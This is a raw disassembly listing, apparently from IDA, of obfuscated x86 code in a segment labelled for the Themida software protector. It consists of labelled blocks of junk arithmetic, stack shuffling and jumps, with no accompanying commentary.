		mov	eax, 0D855020h
		neg	eax
		inc	eax
		jmp	loc_59C4F2
; ---------------------------------------------------------------------------
		push	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5AF16F
; ---------------------------------------------------------------------------


loc_5AA86F:				; CODE XREF: Themida_:0059F1C5j
					; Themida_:005ABBFBj
		sub	bl, ch
		add	bl, 0A0h
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		push	esp
		jmp	loc_59F016
; ---------------------------------------------------------------------------


loc_5AA87F:				; CODE XREF: Themida_:005AA09Ej
		add	edi, ebx
		add	edi, 1E24506Bh
		jmp	loc_5AD655
; ---------------------------------------------------------------------------


loc_5AA88C:				; CODE XREF: Themida_:0059B5F1j
		shl	esi, 4
		sub	esi, 54063318h
		xor	ebp, esi
		pop	esi
		sub	esp, 4
		jmp	loc_5AEEB9
; ---------------------------------------------------------------------------


loc_5AA8A0:				; CODE XREF: Themida_:005AF2DFj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2
		add	eax, esi
		pop	esi
		push	eax
		jmp	loc_599024
; ---------------------------------------------------------------------------


loc_5AA8C4:				; CODE XREF: Themida_:005A23E4j
		push	282525C6h
		pop	esi
		dec	esi
		jmp	loc_5A77F2
; ---------------------------------------------------------------------------


loc_5AA8D0:				; CODE XREF: Themida_:00599556j
		push	esi
		jmp	loc_5A9732
; ---------------------------------------------------------------------------


loc_5AA8D6:				; CODE XREF: Themida_:005A898Ej
		push	edx
		push	ecx
		mov	ch, al
		mov	dl, ch
		mov	ecx, [esp]
		add	esp, 4
		mov	cl, dl
		jmp	loc_5A82EF
; ---------------------------------------------------------------------------


loc_5AA8EC:				; CODE XREF: Themida_:005A881Bj
		pop	esi
		jmp	loc_5A60C3
; ---------------------------------------------------------------------------


loc_5AA8F2:				; CODE XREF: Themida_:005A50D8j
		sub	eax, 508F08B5h
		sub	eax, ebx
		push	292Fh
		mov	[esp], ebx
		jmp	loc_5A9E17
; ---------------------------------------------------------------------------


loc_5AA906:				; CODE XREF: Themida_:0059D09Ej
		push	esi
		mov	esi, 4AE529F2h
		jmp	loc_5AE78B
; ---------------------------------------------------------------------------


loc_5AA911:				; CODE XREF: Themida_:loc_5A1127j
					; Themida_:005A910Dj
		xor	dword ptr [esp], 52416E8Ah
		pop	edx
		xor	edx, 52416E8Ah
		pop	ebx
		add	edx, 1B304E7Ch
		add	edx, ecx
		sub	edx, 1B304E7Ch
		jmp	loc_5AB5F5
; ---------------------------------------------------------------------------


loc_5AA933:				; CODE XREF: Themida_:005A0D70j
		mov	eax, [esp]
		add	esp, 4
		push	17E8h
		mov	[esp], ebx
		mov	ebx, esp
		push	63CCh
		mov	[esp], edi
		push	4
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5A736F
; ---------------------------------------------------------------------------


loc_5AA962:				; CODE XREF: Themida_:005A9972j
		mov	eax, 115533D7h
		xor	ebx, eax
		pop	eax
		add	ebx, 29F462EDh
		shl	ebx, 5
		shl	ebx, 4
		sub	ebx, 4820AEF9h
		or	ecx, ebx
		pop	ebx
		neg	ecx
		push	ebx
		push	eax
		mov	eax, 2A7C451Ah
		mov	ebx, eax
		pop	eax
		sub	ebx, 1
		jmp	loc_59ED13
; ---------------------------------------------------------------------------


loc_5AA996:				; CODE XREF: Themida_:005AB7C2j
		pop	ecx
		jmp	loc_5A7852
; ---------------------------------------------------------------------------


loc_5AA99C:				; CODE XREF: Themida_:0059DB82j
		push	edi
		mov	edi, esp
		jmp	loc_59B62F
; ---------------------------------------------------------------------------


loc_5AA9A4:				; CODE XREF: Themida_:0059ABE7j
		add	esp, 4
		push	ecx
		push	eax
		mov	eax, 36FE33F8h
		push	eax
		xor	dword ptr [esp], 200027B2h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A0071
; ---------------------------------------------------------------------------


loc_5AA9C7:				; CODE XREF: Themida_:005ADDFDj
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5A7463
; ---------------------------------------------------------------------------


loc_5AA9D0:				; CODE XREF: Themida_:005A1994j
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_59A01F
; ---------------------------------------------------------------------------


loc_5AA9DB:				; CODE XREF: Themida_:005A3A2Fj
		push	ecx
		push	ebp
		jmp	loc_598B57
; ---------------------------------------------------------------------------


loc_5AA9E2:				; CODE XREF: Themida_:005A6286j
		pop	ecx
		push	edx
		jmp	loc_5A4D1D
; ---------------------------------------------------------------------------


loc_5AA9E9:				; CODE XREF: Themida_:0059B15Fj
		add	esp, 4
		push	ecx
		jmp	loc_5A6952
; ---------------------------------------------------------------------------


loc_5AA9F5:				; CODE XREF: Themida_:0059D6C4j
		add	eax, edi
		pop	edi
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], esp
		push	94h
		mov	[esp], ecx
		jmp	loc_5A6F97
; ---------------------------------------------------------------------------


loc_5AAA15:				; CODE XREF: Themida_:005AD907j
		not	ebx
		dec	ebx
		xor	ebx, 0EBD7333h
		sub	ebp, 3D9000F3h
		jmp	loc_59AF10
; ---------------------------------------------------------------------------


loc_5AAA29:				; CODE XREF: Themida_:005AABBEj
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		add	esi, 33342761h
		sub	esi, ebx
		jmp	loc_5A468B
; ---------------------------------------------------------------------------


loc_5AAA41:				; CODE XREF: Themida_:005A1232j
		or	ch, 22h
		jmp	loc_5AFB5B
; ---------------------------------------------------------------------------


loc_5AAA49:				; CODE XREF: Themida_:005AC9DBj
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_59F009
; ---------------------------------------------------------------------------


loc_5AAA67:				; CODE XREF: Themida_:0059B80Ej
		pop	ecx
		jmp	loc_59EA39
; ---------------------------------------------------------------------------


loc_5AAA6D:				; CODE XREF: Themida_:0059B8E6j
		add	esi, 4
		jmp	loc_59DDA0
; ---------------------------------------------------------------------------


loc_5AAA78:				; CODE XREF: Themida_:005998CDj
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	ebx, 0E3E74433h
		xor	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edi
		push	297Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A5289
; ---------------------------------------------------------------------------


loc_5AAABC:				; CODE XREF: Themida_:005A03E4j
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		push	edx
		mov	edx, 6E756D2Fh
		jmp	loc_5A2662
; ---------------------------------------------------------------------------


loc_5AAADE:				; CODE XREF: Themida_:005A778Cj
		mov	edx, [esp]
		add	esp, 4
		sub	edi, ecx
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 1
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		jmp	loc_5A75CF
; ---------------------------------------------------------------------------


loc_5AAB0C:				; CODE XREF: Themida_:loc_5A9984j
					; Themida_:loc_5AC378j
		shl	eax, 7
		jz	loc_5AEA84
		sub	eax, 2FC40B6Bh
		jb	loc_5A6384
		add	eax, 0DB8E193Dh
		mov	esi, eax
		mov	eax, [esp]


loc_5AAB2A:				; CODE XREF: Themida_:005AA00Aj
		mov	ebx, 77B91BF1h
		jmp	loc_5AB6B2
; ---------------------------------------------------------------------------


loc_5AAB34:				; CODE XREF: Themida_:0059DD51j
		neg	ebx
		xor	ebx, 0C4D2F8D4h
		add	edx, 1AF21128h
		add	edx, ebx
		jmp	loc_59FD35
; ---------------------------------------------------------------------------


loc_5AAB49:				; CODE XREF: Themida_:0059F1F5j
		dec	ecx
		sub	ecx, 0FF6EF760h
		add	ecx, edi
		jmp	loc_5A8698
; ---------------------------------------------------------------------------


loc_5AAB57:				; CODE XREF: Themida_:00598B52j
		sub	bl, al
		add	bl, 27h
		add	bl, 0E2h
		push	1892h
		jmp	loc_59F60D
; ---------------------------------------------------------------------------


loc_5AAB69:				; CODE XREF: Themida_:005A6DBDj
		pop	ecx
		jmp	loc_59C39B
; ---------------------------------------------------------------------------


loc_5AAB6F:				; CODE XREF: Themida_:0059C9E5j
		pop	ecx
		pop	edx
		shl	ecx, 3
		add	ecx, 0FFFFFFFFh
		not	ecx
		and	ecx, 50860E27h
		neg	ecx
		push	edx
		mov	edx, 0A570DE4h
		jmp	loc_5A4A68
; ---------------------------------------------------------------------------


loc_5AAB8C:				; CODE XREF: Themida_:005ABA85j
		pop	ebp
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	eax
		push	ecx
		mov	ecx, 43633456h
		dec	ecx
		jge	loc_599214
		xor	ecx, 3A726568h
		mov	eax, ecx
		pop	ecx
		pop	esp


loc_5AABB1:				; CODE XREF: Themida_:005AA15Cj
		pop	ecx
		push	edx
		mov	edx, 6D180A2Ch
		add	edx, 138DB867h
		jmp	loc_5AAA29
; ---------------------------------------------------------------------------


loc_5AABC3:				; CODE XREF: Themida_:005A3449j
		add	ch, 6Eh
		mov	bh, ch
		pop	ecx
		jmp	loc_5AFDE8
; ---------------------------------------------------------------------------


loc_5AABCE:				; CODE XREF: Themida_:005ADCC3j
		sub	esp, 4
		jmp	loc_5A24A8
; ---------------------------------------------------------------------------


loc_5AABD6:				; CODE XREF: Themida_:005AF507j
		sub	bl, ch
		jmp	loc_5A6170
; ---------------------------------------------------------------------------


loc_5AABDD:				; CODE XREF: Themida_:005AB6ADj
		pop	esp
		jmp	loc_5A1074
; ---------------------------------------------------------------------------


loc_5AABE3:				; CODE XREF: Themida_:005A368Ej
		pop	edi
		pop	ebx
		push	edx
		push	ecx
		push	4
		jmp	loc_59CA44
; ---------------------------------------------------------------------------


loc_5AABF1:				; CODE XREF: Themida_:loc_5A9BD6j
		pop	dword ptr [edx]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AABF8:				; CODE XREF: Themida_:005A096Dj
		shr	edi, 7
		sub	edi, 2C13A57Eh
		add	ebx, edi
		pop	edi
		add	ebp, ebx
		jmp	loc_5AE734
; ---------------------------------------------------------------------------


loc_5AAC0B:				; CODE XREF: Themida_:005A9A26j
		pop	ebx
		jmp	loc_59B39A
; ---------------------------------------------------------------------------


loc_5AAC11:				; CODE XREF: Themida_:005A8BF8j
		add	dword ptr [esp], 36A35C83h
		pop	ebp
		sub	ebp, 36A35C83h
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	ebx, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	eax
		jmp	loc_5A6B3B
; ---------------------------------------------------------------------------


loc_5AAC43:				; CODE XREF: Themida_:0059BAADj
					; Themida_:0059FB8Fj
		and	eax, ecx
		jmp	loc_599ED8
; ---------------------------------------------------------------------------


loc_5AAC4A:				; CODE XREF: Themida_:0059FE4Aj
		add	[esp+4], edx
		push	eax
		mov	eax, 508C788Fh
		sub	dword ptr [esp+8], 34CA774Bh
		add	[esp+8], eax
		add	dword ptr [esp+8], 34CA774Bh
		pop	eax
		push	esi
		mov	esi, 41B03D86h
		add	[esp+8], esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59C197
; ---------------------------------------------------------------------------


loc_5AAC87:				; CODE XREF: Themida_:005AC136j
		mov	ch, ah
		push	eax
		mov	al, ch
		mov	dh, al
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		jmp	loc_59C0A2
; ---------------------------------------------------------------------------


loc_5AAC99:				; CODE XREF: Themida_:005A07E9j
		push	edx
		mov	edx, 38h
		mov	ecx, edx
		pop	edx
		add	ecx, edx
		jmp	loc_5AF595
; ---------------------------------------------------------------------------


loc_5AACA9:				; CODE XREF: Themida_:0059B613j
		mov	ebp, 359C3E44h
		sub	edx, ebp
		pop	ebp
		add	ecx, edx
		jmp	loc_5A4570
; ---------------------------------------------------------------------------


loc_5AACB8:				; CODE XREF: Themida_:005A8B11j
		sub	esi, 5BB27A06h
		add	esi, 4F8C5174h
		add	esi, eax
		jmp	loc_5AE70E
; ---------------------------------------------------------------------------


loc_5AACCB:				; CODE XREF: Themida_:005AE7E4j
		push	ecx
		mov	ecx, 6F5F05CCh
		sub	esi, 22B039BAh
		sub	esi, ecx
		add	esi, 22B039BAh
		jmp	loc_5AA680
; ---------------------------------------------------------------------------


loc_5AACE4:				; CODE XREF: Themida_:0059B8ABj
		add	ebx, 0AC5F354Bh
		sub	ebp, 69107429h
		add	ebp, ebx
		add	ebp, 69107429h
		mov	ebx, [esp]
		add	esp, 4
		push	339Ah
		jmp	loc_5ABB17
; ---------------------------------------------------------------------------


loc_5AAD0B:				; CODE XREF: Themida_:00599FCDj
		add	ebp, esi
		pop	esi
		push	edx
		sub	esp, 4
		mov	[esp], ebp
		push	5DF92554h
		mov	ebp, [esp]
		jmp	loc_5A8B76
; ---------------------------------------------------------------------------


loc_5AAD25:				; CODE XREF: Themida_:005A6FD9j
		sub	ebp, 0BC0DFA67h
		or	ebp, 94D415Bh
		jo	loc_5ADC8C
		sub	ebp, 0C0F6985h
		jg	loc_598FD7
		or	ebp, 28287460h
		or	ebp, 16427A2Eh


loc_5AAD4F:				; CODE XREF: Themida_:0059BDE1j
		sub	edi, 6E1F2739h
		jmp	loc_59C254
; ---------------------------------------------------------------------------


loc_5AAD5A:				; CODE XREF: Themida_:0059B17Cj
		sub	ecx, 39A2348Fh
		jbe	loc_5A56A4
		sub	ecx, 47EA89E4h
		push	ebp
		mov	ebp, 225615A9h
		not	ebp
		jmp	loc_5A81A1
; ---------------------------------------------------------------------------


loc_5AAD79:				; CODE XREF: Themida_:005AF8C6j
		push	edx
		mov	edx, 36DD2F43h
		mov	edi, edx
		jmp	loc_5AEB19
; ---------------------------------------------------------------------------


loc_5AAD86:				; CODE XREF: Themida_:005A5034j
					; Themida_:005AD17Aj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A9AFB
; ---------------------------------------------------------------------------


loc_5AAD94:				; CODE XREF: Themida_:005ADCE2j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	eax
		mov	eax, 629D3F7Eh
		jmp	loc_5AAE89
; ---------------------------------------------------------------------------


loc_5AADA6:				; CODE XREF: Themida_:005A94E8j
		pop	esp
		jmp	loc_59C66E
; ---------------------------------------------------------------------------


loc_5AADAC:				; CODE XREF: Themida_:0059F037j
					; Themida_:005A0B5Cj
		push	ebp
		mov	ebp, 1DF79E8h
		xchg	edx, ebp
		not	edx
		xchg	edx, ebp
		shr	ebp, 8
		push	4DEDh
		jmp	loc_5A5A10
; ---------------------------------------------------------------------------


loc_5AADC5:				; CODE XREF: Themida_:0059EFE1j
		dec	ecx
		push	eax
		push	ebx
		jmp	loc_5AE44F
; ---------------------------------------------------------------------------


loc_5AADCD:				; CODE XREF: Themida_:005A6FF6j
		push	6A13h
		jmp	loc_59BAD2
; ---------------------------------------------------------------------------


loc_5AADD7:				; CODE XREF: Themida_:0059D612j
		add	ebx, 698D181Eh
		sub	ebx, 79074905h
		pop	ebp
		jmp	loc_5A787B
; ---------------------------------------------------------------------------


loc_5AADE9:				; CODE XREF: Themida_:0059F155j
		xor	ecx, 39BE1492h
		sub	ecx, 0FB73AB39h
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5ACCF9
; ---------------------------------------------------------------------------


loc_5AAE02:				; CODE XREF: Themida_:0059F0FFj
		mov	ecx, esp
		push	65F1h
		mov	[esp], esi
		mov	esi, 688341CDh
		not	esi
		dec	esi
		neg	esi
		neg	esi
		push	edi
		mov	edi, 6F59089Fh
		shr	edi, 4
		xor	edi, 7FE02FAEh
		inc	edi
		add	edi, 1E66FF05h
		sub	esi, edi
		pop	edi
		add	ecx, esi
		pop	esi
		jmp	loc_59AFD4
; ---------------------------------------------------------------------------


loc_5AAE39:				; CODE XREF: Themida_:005AE01Ej
		sub	ecx, 6572E18h
		sub	ecx, 0BF4A598Ch
		mov	eax, ecx
		pop	ecx
		add	esi, eax
		pop	eax
		add	esi, 6DA02F8Ch
		and	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		shr	ecx, 0Bh
		sub	esp, 4
		mov	[esp], ebx
		push	4414h
		mov	[esp], esi
		jmp	loc_59B1CE
; ---------------------------------------------------------------------------


loc_5AAE72:				; CODE XREF: Themida_:005AF5B7j
		sub	bl, 1Fh
		mov	edx, [esp]
		add	esp, 4
		add	bl, al
		push	cx
		push	eax
		push	edx
		jmp	loc_5AF81A
; ---------------------------------------------------------------------------


loc_5AAE89:				; CODE XREF: Themida_:005AADA1j
		sub	eax, 0AD04AA4h
		shl	eax, 1
		or	eax, 59A01191h
		sub	eax, 0A783EEC8h
		sub	edx, eax
		pop	eax
		sub	edx, 48CF1465h
		jmp	loc_5989A3
; ---------------------------------------------------------------------------
		push	small 4D7Fh
		jmp	loc_5AC01A
; ---------------------------------------------------------------------------


loc_5AAEB1:				; CODE XREF: Themida_:005A82E4j
					; Themida_:005A84CEj ...
		jz	loc_5A4F7A
		jmp	loc_5A504C
; ---------------------------------------------------------------------------


loc_5AAEBC:				; CODE XREF: Themida_:005A624Cj
		jz	loc_59A4AF
		add	eax, 0F37DB953h
		jmp	loc_5A57D2
; ---------------------------------------------------------------------------


loc_5AAECC:				; CODE XREF: Themida_:005AA822j
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_5A216B
; ---------------------------------------------------------------------------


loc_5AAEEE:				; CODE XREF: Themida_:005A6C59j
		add	edi, 4
		jmp	loc_5A9E24
; ---------------------------------------------------------------------------


loc_5AAEF9:				; CODE XREF: Themida_:005A47ECj
					; Themida_:005A5893j
		movsx	cx, al
		push	edx
		sub	esp, 4
		jmp	loc_5AEDDA
; ---------------------------------------------------------------------------


loc_5AAF09:				; CODE XREF: Themida_:005AC7DBj
		sub	esi, 1A330DCCh
		add	esi, 721A0530h
		sub	esi, ecx
		jmp	loc_5A6664
; ---------------------------------------------------------------------------


loc_5AAF1C:				; CODE XREF: Themida_:005A3D63j
		mov	[esp], ebx
		mov	ebx, 1F18138Dh
		sub	edx, 4ADE1496h
		jmp	loc_5A639C
; ---------------------------------------------------------------------------


loc_5AAF2F:				; CODE XREF: Themida_:005A049Ej
		mov	esp, [esp]
		mov	[esp], edi
		push	esi
		mov	esi, 5DCC7C9Eh
		sub	dword ptr [esp+4], 0A77293Ch
		add	dword ptr [esp+4], 695027A2h
		sub	[esp+4], esi
		sub	dword ptr [esp+4], 695027A2h
		add	dword ptr [esp+4], 0A77293Ch
		pop	esi
		pop	dword ptr [eax]
		push	ebx
		mov	ebx, 5DCC7C9Eh
		add	[eax], ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A0887
; ---------------------------------------------------------------------------


loc_5AAF75:				; CODE XREF: Themida_:005A6203j
		sub	al, 19h
		jmp	loc_59FDF5
; ---------------------------------------------------------------------------


loc_5AAF7C:				; CODE XREF: Themida_:loc_59B164j
					; Themida_:005AB464j
		push	edi
		push	esi
		jmp	loc_5A1393
; ---------------------------------------------------------------------------


loc_5AAF83:				; CODE XREF: Themida_:005A8D06j
		add	edx, 0BFD2B27h
		jns	loc_5A4056
		add	edx, 0FFFFFFFFh
		jmp	loc_5A4F65
; ---------------------------------------------------------------------------


loc_5AAF97:				; CODE XREF: Themida_:005A1A44j
		dec	edi
		xchg	edi, esi
		push	ebx
		push	459539Dh
		jmp	loc_5ADCE7
; ---------------------------------------------------------------------------


loc_5AAFA5:				; CODE XREF: Themida_:005AEC2Fj
		add	esp, 4
		add	eax, 4
		jmp	loc_5AF7DB
; ---------------------------------------------------------------------------


loc_5AAFB5:				; CODE XREF: Themida_:005A7CC5j
		push	edx
		mov	dl, 0D2h
		add	dl, 0D4h
		dec	dl
		jmp	loc_59B3DE
; ---------------------------------------------------------------------------


loc_5AAFC2:				; CODE XREF: Themida_:0059B32Fj
		add	dl, 5Dh
		jnb	loc_599256
		sub	dl, 36h
		add	dl, 0DBh
		mov	ah, 0DCh
		sub	ah, dl
		jmp	loc_59B3F4
; ---------------------------------------------------------------------------


loc_5AAFDA:				; CODE XREF: Themida_:005A4D38j
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		mov	esi, 121A3325h
		mov	edi, 2229742Bh
		xor	edi, esi
		jmp	loc_59CC9A
; ---------------------------------------------------------------------------


loc_5AAFFC:				; CODE XREF: Themida_:005AFE2Aj
		xor	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	edi
		mov	edi, 4F100FDBh
		mov	esi, edi
		pop	edi
		add	esi, 596C3763h
		ja	loc_59E9EE
		dec	esi
		jmp	loc_5A021A
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_599024
; ---------------------------------------------------------------------------


loc_5AB026:				; CODE XREF: Themida_:005A5807j
					; Themida_:005AF155j
		jnp	loc_59DAB6
		jmp	loc_59926D
; ---------------------------------------------------------------------------
		push	56AA506Bh


loc_5AB036:				; CODE XREF: Themida_:005AE07Bj
		push	ecx
		mov	ecx, 76CA3DE1h
		xor	ecx, 791B402Dh
		add	ecx, 0F02E8238h
		add	ebx, ecx
		jmp	loc_5A38F9
; ---------------------------------------------------------------------------


loc_5AB04F:				; CODE XREF: Themida_:0059D9A9j
		mov	[esp], eax
		push	edx
		jmp	loc_5AE13F
; ---------------------------------------------------------------------------


loc_5AB058:				; CODE XREF: Themida_:005AE973j
		push	esp
		pop	eax
		add	eax, 4
		push	esi
		jmp	loc_5A7312
; ---------------------------------------------------------------------------


loc_5AB065:				; CODE XREF: Themida_:005A14C6j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	7CF0h
		mov	[esp], ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	ebp
		push	esi
		mov	esi, 47A04E71h
		add	esi, 0C6D2091h
		jmp	loc_5AF493
; ---------------------------------------------------------------------------


loc_5AB08F:				; CODE XREF: Themida_:0059EBD5j
		pop	esi
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 2B04155Eh
		sub	edi, 0EC67B398h
		sub	edi, 3E9C61C2h
		add	esi, edi
		mov	edi, [esp]
		jmp	loc_5A112C
; ---------------------------------------------------------------------------


loc_5AB0AF:				; CODE XREF: Themida_:0059C2F7j
		pop	ebx
		add	ebx, 4
		jmp	loc_5A8664
; ---------------------------------------------------------------------------


loc_5AB0BB:				; CODE XREF: Themida_:0059B0FBj
		sub	edi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A03D2
; ---------------------------------------------------------------------------


loc_5AB0CC:				; CODE XREF: Themida_:005A8598j
		dec	ebx
		jmp	loc_5A2230
; ---------------------------------------------------------------------------


loc_5AB0D2:				; CODE XREF: Themida_:005A0CC5j
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		jmp	loc_59F0FE
; ---------------------------------------------------------------------------


loc_5AB0E0:				; CODE XREF: Themida_:005A6B8Fj
		bt	[esp], eax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AB0EA:				; CODE XREF: Themida_:005A0C55j
					; Themida_:005A3376j ...
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		jmp	loc_599A9F
; ---------------------------------------------------------------------------


loc_5AB0F6:				; CODE XREF: Themida_:005A9D7Dj
		sub	ecx, ebx
		pop	ebx
		add	ecx, 63437D2h
		add	ecx, 5FBBF63Eh
		sub	edx, ecx
		pop	ecx
		add	edx, edi
		add	edx, 62683C38h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A000F
; ---------------------------------------------------------------------------


loc_5AB11B:				; CODE XREF: Themida_:0059A207j
		xchg	edi, [esp]
		mov	esp, [esp]


loc_5AB121:				; CODE XREF: Themida_:005A34A2j
		push	86h
		mov	[esp], ebx
		jmp	loc_5AEE9A
; ---------------------------------------------------------------------------


loc_5AB12E:				; CODE XREF: Themida_:005A7A12j
		sub	ebx, esi
		pop	esi
		jmp	loc_59C67E
; ---------------------------------------------------------------------------


loc_5AB136:				; CODE XREF: Themida_:005A14ABj
		pop	ebx
		push	ecx
		mov	ch, 5Eh
		or	ch, 66h
		jmp	loc_5AB7EE
; ---------------------------------------------------------------------------


loc_5AB142:				; CODE XREF: Themida_:005A4C9Bj
		pop	ebp
		push	esi
		push	ebx
		pop	esi
		pop	ebx
		not	ebx
		xchg	ebx, esi
		add	esi, 0BCB6D27h
		jmp	loc_59AB71
; ---------------------------------------------------------------------------


loc_5AB156:				; CODE XREF: Themida_:005AD1AFj
		xor	edi, [esp]
		pop	esp
		add	esi, 0C3307626h
		mov	edi, esi
		pop	esi
		add	ecx, 77257653h
		add	ecx, edi
		jmp	loc_5A7941
; ---------------------------------------------------------------------------


loc_5AB170:				; CODE XREF: Themida_:0059AA82j
		add	dword ptr [esp+4], 16266AEDh
		jmp	loc_5ADD54
; ---------------------------------------------------------------------------


loc_5AB17D:				; CODE XREF: Themida_:005A2972j
		sub	ebp, 6D4F09D9h
		add	ebp, 7D392DB9h
		jmp	loc_59FFA1
; ---------------------------------------------------------------------------


loc_5AB18E:				; CODE XREF: Themida_:005A4881j
		add	ch, 11h
		pop	edx
		jmp	loc_5A3777
; ---------------------------------------------------------------------------


loc_5AB197:				; CODE XREF: Themida_:0059F41Fj
		pop	esp
		pop	edx
		sub	bl, cl
		mov	ecx, [esp]
		add	esp, 4
		sub	bl, al
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0Fh
		jmp	loc_5ADDF0
; ---------------------------------------------------------------------------


loc_5AB1B3:				; CODE XREF: Themida_:005A0606j
		add	ecx, 0FFFFFFFFh
		xchg	eax, ecx
		push	esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 15545836h
		jmp	loc_5ABDA7
; ---------------------------------------------------------------------------


loc_5AB1C5:				; CODE XREF: Themida_:005A6EEDj
		mov	esi, 393A4E2Ch
		xor	esi, 64772D0Ch
		sub	edi, 6FC32EF2h
		jmp	loc_5AB9A5
; ---------------------------------------------------------------------------


loc_5AB1DB:				; CODE XREF: Themida_:00598F49j
		add	edx, ebp
		pop	ebp
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_59A75D
; ---------------------------------------------------------------------------


loc_5AB1E7:				; CODE XREF: Themida_:005AFB3Fj
		jnp	loc_59BF2E
		add	edx, 8BFF2E2h
		jmp	loc_59F480
; ---------------------------------------------------------------------------
		db 88h,	0C9h
; ---------------------------------------------------------------------------
		push	esp


loc_5AB1FB:				; CODE XREF: Themida_:0059F734j
		push	64CB0A8Ah
		jmp	loc_5A474B
; ---------------------------------------------------------------------------


loc_5AB205:				; CODE XREF: Themida_:0059E785j
		mov	[esp], eax
		jmp	loc_5A060B
; ---------------------------------------------------------------------------


loc_5AB20D:				; CODE XREF: Themida_:005A161Dj
		push	ebp
		mov	ebp, 1716607Fh
		add	esi, ebp
		pop	ebp
		add	esi, 0ED1D667Bh
		jmp	loc_5AD96A
; ---------------------------------------------------------------------------


loc_5AB221:				; CODE XREF: Themida_:005A415Dj
		push	edx
		mov	dh, 45h
		jmp	loc_59BEB3
; ---------------------------------------------------------------------------


loc_5AB229:				; CODE XREF: Themida_:005A08FFj
		neg	cl
		jmp	loc_5AEE6A
; ---------------------------------------------------------------------------


loc_5AB230:				; CODE XREF: Themida_:0059E5D5j
		mov	ch, 0D5h
		sub	dl, ch
		pop	cx
		add	al, dl
		jmp	loc_5A7E18
; ---------------------------------------------------------------------------


loc_5AB23D:				; CODE XREF: Themida_:00599E54j
		pop	esi
		push	ebx
		mov	ebx, 2
		jmp	loc_59CAC7
; ---------------------------------------------------------------------------


loc_5AB249:				; CODE XREF: Themida_:005AE67Fj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A405E
; ---------------------------------------------------------------------------


loc_5AB256:				; CODE XREF: Themida_:005A7FC8j
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AB265:				; CODE XREF: Themida_:0059E5EFj
		mov	eax, esi
		pop	esi
		sub	eax, esi
		push	esi
		jmp	loc_59A1CB
; ---------------------------------------------------------------------------


loc_5AB270:				; CODE XREF: Themida_:005A7DB1j
		push	ebp
		jmp	loc_5A4843
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_59B5F6
; ---------------------------------------------------------------------------


loc_5AB285:				; CODE XREF: Themida_:005A3A27j
		push	dword ptr [esp]
		pop	edx
		push	ebp
		jmp	loc_5A4BD9
; ---------------------------------------------------------------------------


loc_5AB28F:				; CODE XREF: Themida_:005A8CBEj
		xor	edi, edx
		pop	edx
		or	edi, 57E254B8h
		sub	edi, 7B57287h
		sub	edi, 6D7B7B4Ch
		jmp	loc_5A95CA
